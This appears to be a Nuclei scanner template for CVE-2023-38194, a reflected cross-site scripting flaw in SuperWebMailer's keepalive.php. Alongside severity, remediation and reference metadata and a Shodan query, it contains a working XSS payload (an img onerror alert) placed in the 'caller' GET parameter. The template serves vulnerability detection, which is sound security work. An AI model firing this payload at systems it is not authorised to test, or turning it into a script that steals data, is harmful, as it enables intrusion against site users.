id: CVE-2023-38194

info:
  name: SuperWebMailer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or account compromise.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks in the SuperWebMailer keepalive.php script.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0013/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38194
    cwe-id: CWE-79
    epss-score: 0.0114
    epss-percentile: 0.63468
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<img src=1 onerror=alert(document.domain) />")'
          - 'contains(tolower(body_1), "superwebmailer")'
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a0046304402204a22ac4cb9910ab5c7544519a7920784fa3f47dbea6166ce6ded2ad8d5a5f79402205aa4004d7aa42648183ca639104732316811d1800ba326e060bf5fa1c0b7edc2:922c64590222798bb761d5b6d8e72950